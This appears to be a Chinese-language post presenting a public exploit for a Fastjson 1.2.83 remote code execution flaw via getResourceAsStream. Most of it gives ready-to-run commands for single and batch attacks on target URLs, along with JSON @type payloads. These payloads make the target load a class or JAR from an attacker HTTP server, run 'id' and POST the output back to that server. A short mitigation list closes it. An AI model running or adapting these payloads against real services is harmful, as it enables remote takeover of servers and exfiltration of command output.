前言
这周安全圈最热闹的事,莫过于Fastjson 1.2.83 RCE了。
Fastjson 是阿里巴巴开源的一款高性能 Java JSON 解析库,凭借出色的解析速度和简洁的 API 设计,在国内 Java 生态中占据主导地位,广泛应用于企业后端服务、微服务网关、数据接口层等核心业务场景。它支持将 Java 对象序列化为 JSON 字符串,也可以将 JSON 字符串反序列化为 Java 对象,被大量国内企业和开发者集成到各类 Web 应用、API 接口和中间件系统中,堪称 Java 领域使用最广泛的 JSON 处理组件之一。
也正因为它用得人多,每一次 Fastjson 出问题,都是一次"全网排查"级别的大事件。而这一次,从研究员发推披露到完整 EXP 公开,只用了三天。
Fastjson 1.2.83getResourceAsStreamgadget RCE poc。
poc支持jdk8、17、21和25自动尝试。支持批量对url进行poc验证。
默认 payload 执行id并 POST 回攻击端/out,用于确认命令执行结果。
完整的可jdk高版本复现的公开exp诞生,项目链接:
https://www.hacktwohub.com/6059.html快速使用
单个 HTTP 目标
scripts/http-test.sh <攻击端IP> <攻击端HTTP端口> <目标URL> [接口路径]示例:
scripts/http-test.sh 172.20.10.2 19090 http://10.0.0.8:8080 /parse脚本会自动尝试:
jdk8-httpfd
成功时输出类似:
[+] fd: ID-OOB OK [+] OOB POST /out from target_ip uid=0(root) gid=0(root) groups=0(root)批量 HTTP 目标
urls.txt每行一个完整接口:
http://10.0.0.8:8080/parse http://10.0.0.9:8080/api/json运行:
scripts/batch-http-test.sh 172.20.10.2 19090 urls.txt也可以每行写服务根地址,统一追加接口路径:
http://10.0.0.8:8080 http://10.0.0.9:8080scripts/batch-http-test.sh 172.20.10.2 19090 hosts.txt /parse批量结果会输出到/tmp/fastjson-batch-*/results.jsonl,完整日志在同目录下。
Docker 本地验证
本地启动多个 JDK 靶场容器,并通过 HTTP 打/parse:
HOST_IP=192.168.65.254 JDKS="8 17 21 25" ./scripts/test-jdks.shDocker Desktop 上HOST_IP通常是192.168.65.254;如果不通,换成容器能访问宿主机的 IP。
手动构建 Payload
bash scripts/build.sh <攻击端IP> <攻击端HTTP端口> id-oob <模式>示例:
bash scripts/build.sh 172.20.10.2 19090 id-oob fd python3 -u poc/exploit.py 172.20.10.2 19090 http://10.0.0.8:8080 /parse --mode fd --once --wait 20模式:
jdk8-httpfd
漏洞原理
Fastjson 1.2.83 在 ParserConfig.checkAutoType 中会根据 @type 拼接 class resource: String resource = typeName.replace('.', '/') + ".class"; is = defaultClassLoader.getResourceAsStream(resource);因此特殊@type可以被转换成远程资源 URL。目标 ClassLoader 若支持 URL resource,便可能请求攻击端 HTTP server 并加载带@JSONType的 class。
触发过程:
- 攻击者发送包含特殊
@type的 JSON。 - Fastjson 把
.替换成/,进入getResourceAsStream探测。 - 目标请求攻击端 HTTP server 下载 class/JAR。
@JSONType影响 AutoType 判定路径。- 命中
loadClass/ 实例化后执行恶意 class 的<clinit>。
IPv4 会转成十进制格式,例如:
192.168.65.254 -> 3232252414这样可以避免 IP 里的.被替换成/。
JDK 版本区别
| 模式 | 适用场景 | 行为 | 本机结果 |
|---|---|---|---|
jdk8-http | JDK8 + Spring Boot 2 FatJar | 直接拉取/a.class并加载 | JDK 8u492 成功 |
fd | JDK17/21 + Spring Boot 3 FatJar | 先拉取/probe,再枚举/proc/self/fd/N加载 JAR 内 class | JDK 17.0.19、21.0.11 成功 |
fd | JDK25 + Spring Boot 3 FatJar | 可拉取/probe,但未收到命令回显 | JDK 25.0.3 未成功 |
JDK8 短链使用:
{"@type":"http:..3232252414:19090.a"}转换后:
http://192.168.65.254:19090/a.classJDK17/21 FD 链使用:
[ {"@type":"jar:http:..3232252414:19090.probe!.foo.Exception"}, {"@type":"jar:file:.proc.self.fd.3!.fd3.Exception"}, {"@type":"jar:file:.proc.self.fd.4!.fd4.Exception"} ]转换后:
jar:http://192.168.65.254:19090/probe!/foo/Exception.class jar:file:/proc/self/fd/N!/fdN/Exception.class只看到/probe或/a.class请求只能说明目标能访问攻击端资源,不代表 RCE 成功;以/out的uid/gid回传为准。
影响条件
- Fastjson 1.2.83
- 未启用
-Dfastjson.parser.safeMode=true - 服务端解析不可信 JSON 中的
@type - 目标 ClassLoader 支持对应 resource 加载路径
- 目标能访问攻击端 HTTP server
防护
- 启用 SafeMode:
-Dfastjson.parser.safeMode=true - 升级到 fastjson2
- 禁止不可信 JSON 使用
@type - 限制业务 JVM 出网
- 审计 FatJar/ClassLoader 对远程 URL resource 的解析行为